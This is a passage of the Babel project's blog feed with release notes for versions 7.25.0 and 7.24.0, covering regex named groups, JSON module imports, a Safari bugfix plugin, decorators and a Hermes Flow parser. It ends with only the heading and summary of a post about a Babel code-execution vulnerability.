language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">-</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">day</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token string" style="color:#718c00">"21/12/2023"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token plain">re</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token property-access">groups</span><span class="token punctuation">.</span><span class="token property-access">day</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// 21</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token string" style="color:#718c00">"2023-12-21"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token plain">re</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token property-access">groups</span><span class="token punctuation">.</span><span class="token property-access">day</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// 21</span><br></span></code></pre></div></div>
<p>The proposal reached Stage 4 in the April 2024 TC39 meeting, and will be included in the next version of the JavaScript standard. It is thus now enabled by default in <code>@babel/preset-env</code> (when needed based on your <a href="https://babeljs.io/docs/options#targets" target="_blank" rel="noopener noreferrer" class="">targets</a>), and you can safely remove <code>@babel/plugin-proposal-duplicate-named-capturing-groups-regex</code> from your configuration.</p>
<p>If for any reason you still need to explicitly list the plugin, it has now been renamed to <code>@babel/plugin-transform-duplicate-named-capturing-groups-regex</code> as the proposal became a standard language feature.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="simplify-json-modules-imports-in-commonjs-16579">Simplify JSON modules imports in CommonJS (<a href="https://github.com/babel/babel/pull/16579" target="_blank" rel="noopener noreferrer" class="">#16579</a>)<a href="https://babeljs.io/blog/2024/07/26/7.25.0#simplify-json-modules-imports-in-commonjs-16579" class="hash-link" aria-label="Direct link to simplify-json-modules-imports-in-commonjs-16579" title="Direct link to simplify-json-modules-imports-in-commonjs-16579" translate="no">​</a></h3>
<p>After introducing support for transforming <a href="https://github.com/tc39/proposal-json-modules" target="_blank" rel="noopener noreferrer" class="">JSON modules</a> imports in Babel 7.24.0, we realized that the generated output was not friendly to CommonJS bundlers.</p>
<p>Given this code:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">myConfig</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./config.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p><a href="https://babeljs.io/docs/babel-plugin-proposal-json-modules" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-proposal-json-modules</code></a> would compile it to the following, when targeting CommonJS on Node.js:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> myConfig </span><span class="token operator">=</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#eab700">JSON</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">parse</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"fs"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">readFileSync</span><span class="token punctuation">(</span><span class="token plain">require</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./config.json"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>The <code>JSON.parse</code> + <code>readFileSync</code> combination is necessary to ensure that <code>config.json</code> is indeed a JSON file, and not a <code>config.json.js</code> file trying to sneakily execute some code while being loaded.</p>
<p><code>@babel/plugin-proposal-json-modules</code> has now an <code>uncheckedRequire</code> option to simplify the output, at the cost of less validation. You can enable it in your configuration:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-json-modules"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token property">"uncheckedRequire"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>and Babel will generate the following code:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> myConfig </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./config.json"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="babelplugin-bugfix-safari-class-field-initializer-scope-16569"><code>@babel/plugin-bugfix-safari-class-field-initializer-scope</code> (<a href="https://github.com/babel/babel/pull/16569" target="_blank" rel="noopener noreferrer" class="">#16569</a>)<a href="https://babeljs.io/blog/2024/07/26/7.25.0#babelplugin-bugfix-safari-class-field-initializer-scope-16569" class="hash-link" aria-label="Direct link to babelplugin-bugfix-safari-class-field-initializer-scope-16569" title="Direct link to babelplugin-bugfix-safari-class-field-initializer-scope-16569" translate="no">​</a></h3>
<p>Safari versions older than 16 have <a href="https://bugs.webkit.org/show_bug.cgi?id=236843" target="_blank" rel="noopener noreferrer" class="">a bug</a> when using parentheses around expressions in class fields. For example, the following code would throw an error:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> a </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">class</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    c </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">a</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>This is especially problematic when using Webpack or when compiling to CommonJS, as they add parentheses when transforming imports. For example, this input code:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports punctuation">{</span><span class="token imports"> hello </span><span class="token imports punctuation">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./dep"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  prop </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">hello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>would become</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> _dep </span><span class="token operator">=</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">/* ... */</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  prop </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">,</span><span class="token plain"> _dep</span><span class="token punctuation">.</span><span class="token property-access">hello</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p><a href="https://github.com/davidtaylorhq" target="_blank" rel="noopener noreferrer" class="">David Taylor</a> implemented a fix (thanks!) in the new <code>@babel/plugin-bugfix-safari-class-field-initializer-scope</code> package, which is enabled by default in <code>@babel/preset-env</code> when your targets include Safari versions older than 16.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.24.0 Released: Decorator updates and JSON modules imports]]></title>
            <link>https://babeljs.io/blog/2024/02/28/7.24.0</link>
            <guid>https://babeljs.io/blog/2024/02/28/7.24.0</guid>
            <pubDate>Wed, 28 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.24.0 is out!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.24.0 is out!</p>
<p>We updated our <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer" class="">Decorators</a> implementation to match the latest version of the proposal, and we improved the way we transform class private fields and methods. We also added support for importing <a href="https://github.com/tc39/proposal-json-modules" target="_blank" rel="noopener noreferrer" class="">JSON modules</a> in browsers and Node.js, an older Stage 3 proposal depending on <a href="https://github.com/tc39/proposal-import-attributes" target="_blank" rel="noopener noreferrer" class="">Import Attributes</a>.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.24.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2024/02/28/7.24.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="decorators-updates-16242">Decorators updates (<a href="https://github.com/babel/babel/pull/16242" target="_blank" rel="noopener noreferrer" class="">#16242</a>)<a href="https://babeljs.io/blog/2024/02/28/7.24.0#decorators-updates-16242" class="hash-link" aria-label="Direct link to decorators-updates-16242" title="Direct link to decorators-updates-16242" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-decorator-metadata/" target="_blank" rel="noopener noreferrer" class="">decorators</a> Stage 3 proposals received many minor updates in the past years, and unfortunately all the implementations in the various tools implement <a href="https://github.com/evanw/decorator-tests" target="_blank" rel="noopener noreferrer" class="">slightly different versions</a> of it.</p>
<p>We updated our implementation to match the latest version of the proposal. This version has also been implemented in TypeScript and is currently being implemented natively in browsers. The main difference compared to the <code>2023-05</code> version previously implemented is in the execution order of initializers registered through the <code>context.addInitializer</code> method.</p>
<p>You can enable this version of the proposal by setting the <code>"version": "2023-11"</code> option in <code>@babel/plugin-proposal-decorators</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-decorators"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"2023-11"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You can also try the new decorators proposal in the online Babel <a href="https://babeljs.io/repl#?browsers=defaults%2C%20not%20ie%2011%2C%20not%20ie_mob%2011&amp;build=&amp;builtIns=false&amp;corejs=3.21&amp;spec=false&amp;loose=false&amp;code_lz=GYVwdgxgLglg9mABAGzgczQUwE4AoCUiA3gFCKID0FiA8gA6ZICecI2A5AM6IBG2cAd045EEBJzjJMAGjKVqAQzAATRIwU8piAEQBRAG4LkIBVEzbEMJFAAWmRJxjLMPBdgCEcsWAlSAdKhouG5oIAC2jFCc-ADcJAC-JCQQyAqc3ACCxHIAAoFY2HIRtnDKBMSJ8UA&amp;debug=false&amp;forceAllTransforms=false&amp;modules=false&amp;shippedProposals=false&amp;circleciRepo=&amp;evaluate=false&amp;fileSize=false&amp;timeTravel=false&amp;sourceType=module&amp;lineWrap=true&amp;presets=env&amp;prettier=false&amp;targets=&amp;version=7.24.0&amp;externalPlugins=%40babel%2Fplugin-proposal-decorators%407.24.0&amp;assumptions=%7B%7D" target="_blank" rel="noopener noreferrer" class="">REPL</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="json-modules-imports-15829-15870">JSON modules imports (<a href="https://github.com/babel/babel/pull/15829" target="_blank" rel="noopener noreferrer" class="">#15829</a>, <a href="https://github.com/babel/babel/pull/15870" target="_blank" rel="noopener noreferrer" class="">#15870</a>)<a href="https://babeljs.io/blog/2024/02/28/7.24.0#json-modules-imports-15829-15870" class="hash-link" aria-label="Direct link to json-modules-imports-15829-15870" title="Direct link to json-modules-imports-15829-15870" translate="no">​</a></h3>
<p>Babel 7.24.0 finally adds support for the <a href="https://github.com/tc39/proposal-json-modules" target="_blank" rel="noopener noreferrer" class="">JSON modules</a> proposal, that has been in Stage 3 since 2021. This proposal allows directly importing JSON files using <code>import</code> declarations together with a <code>type: "json"</code> import attribute:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">myConfig</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./config.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>Babel will transform those imports to the appropriate way of loading JSON files in your target platform(s), according to your <a href="https://babeljs.io/docs/options#targets" target="_blank" rel="noopener noreferrer" class=""><code>targets</code></a> option:</p>
<ul>
<li class="">Modern browsers<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> myConfig </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">fetch</span><span class="token punctuation">(</span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">.</span><span class="token property-access">meta</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./config.json"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">                        </span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">then</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">r</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> r</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
</li>
<li class="">Older browsers without <code>import.meta</code> support</li>
<li class="">Node.js (ESM)</li>
<li class="">Node.js (CommonJS)<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> myConfig </span><span class="token operator">=</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#eab700">JSON</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">parse</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"fs"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">readFileSync</span><span class="token punctuation">(</span><span class="token plain">require</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./config.json"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
</li>
<li class="">Various combinations of the above</li>
</ul>
<p>You can enable it using the <code>@babel/plugin-proposal-json-modules</code> plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"chrome 90"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"firefox 90"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"node 20.6"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-json-modules"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="a-hermes-based-flow-parser-16284">A Hermes-based Flow parser (<a href="https://github.com/babel/babel/pull/16284" target="_blank" rel="noopener noreferrer" class="">#16284</a>)<a href="https://babeljs.io/blog/2024/02/28/7.24.0#a-hermes-based-flow-parser-16284" class="hash-link" aria-label="Direct link to a-hermes-based-flow-parser-16284" title="Direct link to a-hermes-based-flow-parser-16284" translate="no">​</a></h3>
<p>Babel implemented support for parsing and transforming Flow type annotations very long time ago, but in the past year we haven't done a very good job at keeping up with new Flow language features.</p>
<p>In the meanwhile, the Hermes team has been working on a Babel plugin, <a href="https://www.npmjs.com/package/babel-plugin-syntax-hermes-parser" target="_blank" rel="noopener noreferrer" class=""><code>babel-plugin-syntax-hermes-parser</code></a>, that lets you directly use <a href="https://hermesengine.dev/" target="_blank" rel="noopener noreferrer" class="">Hermes</a>, React Native's new JavaScript engine, to parse Flow code. It supports all the latest Flow features, such as <code>as</code> type casts and conditional types.</p>
<p>You can now more easily enable this parser using <code>@babel/preset-flow</code>'s <code>experimental_useHermesParser</code> option:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-flow"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"experimental_useHermesParser"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>We are exploring the possibility of dropping Flow support from <code>@babel/parser</code> in a future release, in favor of this Hermes-based parser. Please test it out, report any parsing bugs in <a href="https://github.com/facebook/hermes/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc" target="_blank" rel="noopener noreferrer" class="">Hermes' bug tracker</a> and <a href="https://github.com/babel/babel/discussions" target="_blank" rel="noopener noreferrer" class="">tell us</a> about your experience!</p>
<div class="theme-admonition theme-admonition-warning admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>warning</div><div class="admonitionContent_pbrs"><p>The Hermes parser does not support yet transforms based on in-file comments</p></div></div>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[CVE-2023-45133: Finding an Arbitrary Code Execution Vulnerability In Babel]]></title>
            <link>https://babeljs.io/blog/2023/10/16/cve-2023-45133</link>
            <guid>https://babeljs.io/blog/2023/10/16/cve-2023-45133</guid>
            <pubDate>Wed, 18 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[On October 10th, 2023, I stumbled upon an arbitrary code execution vulnerability in Babel, which was subsequently assigned the identifier CVE-2023-45133. In this post, I’ll walk you through the journey of discovering and exploiting this intriguing flaw.]]></description>
            <content:encoded><![CDATA[
